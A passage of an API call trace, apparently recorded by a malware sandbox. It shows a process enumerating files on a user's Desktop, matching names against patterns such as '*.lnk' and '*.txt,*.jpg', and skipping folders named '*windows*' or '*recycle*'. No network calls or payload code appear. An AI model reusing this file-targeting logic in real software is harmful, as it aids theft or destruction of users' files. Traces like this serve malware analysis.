psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.912] lstrlenW (lpString="F9o4w1Kod5NbWiXunC.bmp") returned 22 [0270.912] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.912] LocalAlloc (uFlags=0x40, uBytes=0x162) returned 0x73f4e8 [0270.912] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.912] lstrlenW (lpString="*.lnk") returned 5 [0270.912] lstrlenW (lpString="*.lnk") returned 5 [0270.912] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.912] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.912] LocalFree (hMem=0x6c0550) returned 0x0 [0270.912] PathMatchSpecW (pszFile="F9o4w1Kod5NbWiXunC.bmp", pszSpec="*.lnk") returned 0 [0270.913] LocalFree (hMem=0x73ef90) returned 0x0 [0270.913] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.913] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ac699b0, ftCreationTime.dwHighDateTime=0x1d8a393, ftLastAccessTime.dwLowDateTime=0x1f5b1f60, ftLastAccessTime.dwHighDateTime=0x1d8a6d5, ftLastWriteTime.dwLowDateTime=0x1f5b1f60, ftLastWriteTime.dwHighDateTime=0x1d8a6d5, nFileSizeHigh=0x0, nFileSizeLow=0x3a97, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="fzJ5Kl.png", cAlternateFileName="")) returned 1 [0270.913] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.913] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.913] lstrlenW (lpString="fzJ5Kl.png") returned 10 [0270.913] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.913] LocalAlloc (uFlags=0x40, uBytes=0x14a) returned 0x73f4e8 [0270.914] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.914] lstrlenW (lpString="*.lnk") returned 5 [0270.914] lstrlenW (lpString="*.lnk") returned 5 [0270.914] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.914] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.914] LocalFree (hMem=0x6c0550) returned 0x0 [0270.914] PathMatchSpecW (pszFile="fzJ5Kl.png", pszSpec="*.lnk") returned 0 [0270.914] LocalFree (hMem=0x73ef90) returned 0x0 [0270.915] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.915] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca62db0, ftCreationTime.dwHighDateTime=0x1d8a132, ftLastAccessTime.dwLowDateTime=0xed1a8340, ftLastAccessTime.dwHighDateTime=0x1d8a564, ftLastWriteTime.dwLowDateTime=0xed1a8340, ftLastWriteTime.dwHighDateTime=0x1d8a564, nFileSizeHigh=0x0, nFileSizeLow=0x39fc, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="HLZ3B3LKnEbj-EEitO.flv", cAlternateFileName="HLZ3B3~1.FLV")) returned 1 [0270.915] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.915] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.915] lstrlenW (lpString="HLZ3B3LKnEbj-EEitO.flv") returned 22 [0270.915] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.915] LocalAlloc (uFlags=0x40, uBytes=0x162) returned 0x73f4e8 [0270.915] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.915] lstrlenW (lpString="*.lnk") returned 5 [0270.915] lstrlenW (lpString="*.lnk") returned 5 [0270.915] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.915] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.916] LocalFree (hMem=0x6c0550) returned 0x0 [0270.916] PathMatchSpecW (pszFile="HLZ3B3LKnEbj-EEitO.flv", pszSpec="*.lnk") returned 0 [0270.916] LocalFree (hMem=0x73ef90) returned 0x0 [0270.916] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.916] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfc50f0, ftCreationTime.dwHighDateTime=0x1d899eb, ftLastAccessTime.dwLowDateTime=0xab42b6f0, ftLastAccessTime.dwHighDateTime=0x1d8a09f, ftLastWriteTime.dwLowDateTime=0xab42b6f0, ftLastWriteTime.dwHighDateTime=0x1d8a09f, nFileSizeHigh=0x0, nFileSizeLow=0x1244, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="iGc-ty46aleJdhQ.avi", cAlternateFileName="IGC-TY~1.AVI")) returned 1 [0270.916] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.916] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.916] lstrlenW (lpString="iGc-ty46aleJdhQ.avi") returned 19 [0270.916] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.916] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x73f4e8 [0270.917] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.917] lstrlenW (lpString="*.lnk") returned 5 [0270.917] lstrlenW (lpString="*.lnk") returned 5 [0270.917] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.917] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.917] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.917] PathMatchSpecW (pszFile="iGc-ty46aleJdhQ.avi", pszSpec="*.lnk") returned 0 [0270.918] LocalFree (hMem=0x73ef90) returned 0x0 [0270.918] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.918] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.918] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0270.918] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.918] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0270.918] StrCpyW (in: psz1=0x73ef90, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0270.918] LocalFree (hMem=0x6fb588) returned 0x0 [0270.918] PathMatchSpecW (pszFile="iGc-ty46aleJdhQ.avi", pszSpec="*.txt") returned 0 [0270.919] LocalFree (hMem=0x73ef90) returned 0x0 [0270.919] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.919] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.919] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0270.919] lstrlenW (lpString="*.jpg") returned 5 [0270.919] lstrlenW (lpString="*.jpg") returned 5 [0270.919] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.919] StrCpyW (in: psz1=0x73ef90, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0270.919] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.919] PathMatchSpecW (pszFile="iGc-ty46aleJdhQ.avi", pszSpec="*.jpg") returned 0 [0270.920] LocalFree (hMem=0x73ef90) returned 0x0 [0270.920] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.920] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b98f40, ftCreationTime.dwHighDateTime=0x1d8a054, ftLastAccessTime.dwLowDateTime=0x98d7cb60, ftLastAccessTime.dwHighDateTime=0x1d8a660, ftLastWriteTime.dwLowDateTime=0x98d7cb60, ftLastWriteTime.dwHighDateTime=0x1d8a660, nFileSizeHigh=0x0, nFileSizeLow=0x11b72, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="ImTeRn-kEft.mp4", cAlternateFileName="IMTERN~1.MP4")) returned 1 [0270.920] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.920] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.920] lstrlenW (lpString="ImTeRn-kEft.mp4") returned 15 [0270.920] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.920] LocalAlloc (uFlags=0x40, uBytes=0x154) returned 0x73f4e8 [0270.920] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.920] lstrlenW (lpString="*.lnk") returned 5 [0270.921] lstrlenW (lpString="*.lnk") returned 5 [0270.921] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.921] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.921] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.921] PathMatchSpecW (pszFile="ImTeRn-kEft.mp4", pszSpec="*.lnk") returned 0 [0270.921] LocalFree (hMem=0x73ef90) returned 0x0 [0270.922] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.922] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a7510, ftCreationTime.dwHighDateTime=0x1d89a0e, ftLastAccessTime.dwLowDateTime=0x33a4f140, ftLastAccessTime.dwHighDateTime=0x1d89dec, ftLastWriteTime.dwLowDateTime=0x33a4f140, ftLastWriteTime.dwHighDateTime=0x1d89dec, nFileSizeHigh=0x0, nFileSizeLow=0x10dd3, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="K63-WjZF.jpg", cAlternateFileName="")) returned 1 [0270.922] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.922] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.922] lstrlenW (lpString="K63-WjZF.jpg") returned 12 [0270.922] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.922] LocalAlloc (uFlags=0x40, uBytes=0x14e) returned 0x73f4e8 [0270.922] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.922] lstrlenW (lpString="*.lnk") returned 5 [0270.922] lstrlenW (lpString="*.lnk") returned 5 [0270.922] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.922] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.923] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.923] PathMatchSpecW (pszFile="K63-WjZF.jpg", pszSpec="*.lnk") returned 0 [0270.923] LocalFree (hMem=0x73ef90) returned 0x0 [0270.923] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.923] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d01a0a0, ftCreationTime.dwHighDateTime=0x1d8a208, ftLastAccessTime.dwLowDateTime=0x7aec7ed0, ftLastAccessTime.dwHighDateTime=0x1d8a2d6, ftLastWriteTime.dwLowDateTime=0x7aec7ed0, ftLastWriteTime.dwHighDateTime=0x1d8a2d6, nFileSizeHigh=0x0, nFileSizeLow=0xa355, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="LaGSj6b8uUiH9spV.m4a", cAlternateFileName="LAGSJ6~1.M4A")) returned 1 [0270.923] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.924] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.924] lstrlenW (lpString="LaGSj6b8uUiH9spV.m4a") returned 20 [0270.924] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.924] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x73f4e8 [0270.924] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.924] lstrlenW (lpString="*.lnk") returned 5 [0270.924] lstrlenW (lpString="*.lnk") returned 5 [0270.924] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.924] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.924] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.924] PathMatchSpecW (pszFile="LaGSj6b8uUiH9spV.m4a", pszSpec="*.lnk") returned 0 [0270.925] LocalFree (hMem=0x73ef90) returned 0x0 [0270.925] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.925] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6bab30, ftCreationTime.dwHighDateTime=0x1d89917, ftLastAccessTime.dwLowDateTime=0xc11ce940, ftLastAccessTime.dwHighDateTime=0x1d89ebb, ftLastWriteTime.dwLowDateTime=0xc11ce940, ftLastWriteTime.dwHighDateTime=0x1d89ebb, nFileSizeHigh=0x0, nFileSizeLow=0xfcbd, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="ml1lEV6Nu.mp3", cAlternateFileName="ML1LEV~1.MP3")) returned 1 [0270.925] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.925] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.925] lstrlenW (lpString="ml1lEV6Nu.mp3") returned 13 [0270.925] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.925] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x73f4e8 [0270.926] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.926] lstrlenW (lpString="*.lnk") returned 5 [0270.926] lstrlenW (lpString="*.lnk") returned 5 [0270.926] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.926] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.926] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.926] PathMatchSpecW (pszFile="ml1lEV6Nu.mp3", pszSpec="*.lnk") returned 0 [0270.926] LocalFree (hMem=0x73ef90) returned 0x0 [0270.927] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.927] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d4b700, ftCreationTime.dwHighDateTime=0x1d8970b, ftLastAccessTime.dwLowDateTime=0x77e39750, ftLastAccessTime.dwHighDateTime=0x1d898e0, ftLastWriteTime.dwLowDateTime=0x77e39750, ftLastWriteTime.dwHighDateTime=0x1d898e0, nFileSizeHigh=0x0, nFileSizeLow=0xa0d9, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="mRZJmSww.mkv", cAlternateFileName="")) returned 1 [0270.927] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.927] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.927] lstrlenW (lpString="mRZJmSww.mkv") returned 12 [0270.927] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.927] LocalAlloc (uFlags=0x40, uBytes=0x14e) returned 0x73f4e8 [0270.927] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.927] lstrlenW (lpString="*.lnk") returned 5 [0270.927] lstrlenW (lpString="*.lnk") returned 5 [0270.927] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.927] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.928] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.928] PathMatchSpecW (pszFile="mRZJmSww.mkv", pszSpec="*.lnk") returned 0 [0270.928] LocalFree (hMem=0x73ef90) returned 0x0 [0270.928] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.928] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd930bd70, ftCreationTime.dwHighDateTime=0x1d8982d, ftLastAccessTime.dwLowDateTime=0x2dbad170, ftLastAccessTime.dwHighDateTime=0x1d89949, ftLastWriteTime.dwLowDateTime=0x2dbad170, ftLastWriteTime.dwHighDateTime=0x1d89949, nFileSizeHigh=0x0, nFileSizeLow=0x10a5a, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="QG37Bp6zhdo4Vhph.doc", cAlternateFileName="QG37BP~1.DOC")) returned 1 [0270.929] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.929] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.929] lstrlenW (lpString="QG37Bp6zhdo4Vhph.doc") returned 20 [0270.929] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.929] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x73f4e8 [0270.929] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.929] lstrlenW (lpString="*.lnk") returned 5 [0270.929] lstrlenW (lpString="*.lnk") returned 5 [0270.929] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.929] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.929] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.929] PathMatchSpecW (pszFile="QG37Bp6zhdo4Vhph.doc", pszSpec="*.lnk") returned 0 [0270.930] LocalFree (hMem=0x73ef90) returned 0x0 [0270.930] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.930] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b62e730, ftCreationTime.dwHighDateTime=0x1d8a4ac, ftLastAccessTime.dwLowDateTime=0x82621b0, ftLastAccessTime.dwHighDateTime=0x1d8a73d, ftLastWriteTime.dwLowDateTime=0x82621b0, ftLastWriteTime.dwHighDateTime=0x1d8a73d, nFileSizeHigh=0x0, nFileSizeLow=0x29d8, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="qYPW46WagGEmqMw3dZD.bmp", cAlternateFileName="QYPW46~1.BMP")) returned 1 [0270.930] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.930] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.930] lstrlenW (lpString="qYPW46WagGEmqMw3dZD.bmp") returned 23 [0270.930] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.930] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x73f4e8 [0270.930] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.930] lstrlenW (lpString="*.lnk") returned 5 [0270.930] lstrlenW (lpString="*.lnk") returned 5 [0270.930] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.930] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.931] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.931] PathMatchSpecW (pszFile="qYPW46WagGEmqMw3dZD.bmp", pszSpec="*.lnk") returned 0 [0270.931] LocalFree (hMem=0x73ef90) returned 0x0 [0270.931] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.931] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0126090, ftCreationTime.dwHighDateTime=0x1d8985f, ftLastAccessTime.dwLowDateTime=0x128ff250, ftLastAccessTime.dwHighDateTime=0x1d8a6b3, ftLastWriteTime.dwLowDateTime=0x128ff250, ftLastWriteTime.dwHighDateTime=0x1d8a6b3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="rDTSyAIi14EIEKi.ppt", cAlternateFileName="RDTSYA~1.PPT")) returned 1 [0270.931] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.932] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.932] lstrlenW (lpString="rDTSyAIi14EIEKi.ppt") returned 19 [0270.932] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.932] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x73f4e8 [0270.932] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.932] lstrlenW (lpString="*.lnk") returned 5 [0270.932] lstrlenW (lpString="*.lnk") returned 5 [0270.932] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.932] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.932] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.932] PathMatchSpecW (pszFile="rDTSyAIi14EIEKi.ppt", pszSpec="*.lnk") returned 0 [0270.933] LocalFree (hMem=0x73ef90) returned 0x0 [0270.933] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.933] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbae664a0, ftCreationTime.dwHighDateTime=0x1d8a480, ftLastAccessTime.dwLowDateTime=0x1268a840, ftLastAccessTime.dwHighDateTime=0x1d8a513, ftLastWriteTime.dwLowDateTime=0x1268a840, ftLastWriteTime.dwHighDateTime=0x1d8a513, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="SlJ -wNXMYDKGOwpN", cAlternateFileName="SLJ-WN~1")) returned 1 [0270.933] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.933] PathCombineW (in: pszDest=0x73ef90, pszDir="C:\\Users\\kEecfMwgj\\Desktop\\", pszFile="SlJ -wNXMYDKGOwpN" | out: pszDest="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.933] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.933] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f4e8 [0270.933] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0270.933] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.933] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0270.933] StrCpyW (in: psz1=0x73f4e8, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0270.934] LocalFree (hMem=0x6b9738) returned 0x0 [0270.934] PathMatchSpecW (pszFile="SlJ -wNXMYDKGOwpN", pszSpec="*windows*") returned 0 [0270.934] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.934] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.934] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f4e8 [0270.934] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0270.934] lstrlenW (lpString="*recycle*") returned 9 [0270.934] lstrlenW (lpString="*recycle*") returned 9 [0270.934] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0270.934] StrCpyW (in: psz1=0x73f4e8, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0270.935] LocalFree (hMem=0x6fb588) returned 0x0 [0270.935] PathMatchSpecW (pszFile="SlJ -wNXMYDKGOwpN", pszSpec="*recycle*") returned 0 [0270.936] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.936] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0270.936] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.936] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned 44 [0270.936] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\slj -wnxmydkgowpn\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbae664a0, ftCreationTime.dwHighDateTime=0x1d8a480, ftLastAccessTime.dwLowDateTime=0x1268a840, ftLastAccessTime.dwHighDateTime=0x1d8a513, ftLastWriteTime.dwLowDateTime=0x1268a840, ftLastWriteTime.dwHighDateTime=0x1d8a513, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0270.939] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbae664a0, ftCreationTime.dwHighDateTime=0x1d8a480, ftLastAccessTime.dwLowDateTime=0x1268a840, ftLastAccessTime.dwHighDateTime=0x1d8a513, ftLastWriteTime.dwLowDateTime=0x1268a840, ftLastWriteTime.dwHighDateTime=0x1d8a513, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.939] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1a2900, ftCreationTime.dwHighDateTime=0x1d8a4fd, ftLastAccessTime.dwLowDateTime=0xb2c1d480, ftLastAccessTime.dwHighDateTime=0x1d8a688, ftLastWriteTime.dwLowDateTime=0xb2c1d480, ftLastWriteTime.dwHighDateTime=0x1d8a688, nFileSizeHigh=0x0, nFileSizeLow=0x1df6, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="9d-zniX6eA.xlsx", cAlternateFileName="9D-ZNI~1.XLS")) returned 1 [0270.939] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.939] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.939] lstrlenW (lpString="\\") returned 1 [0270.939] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned 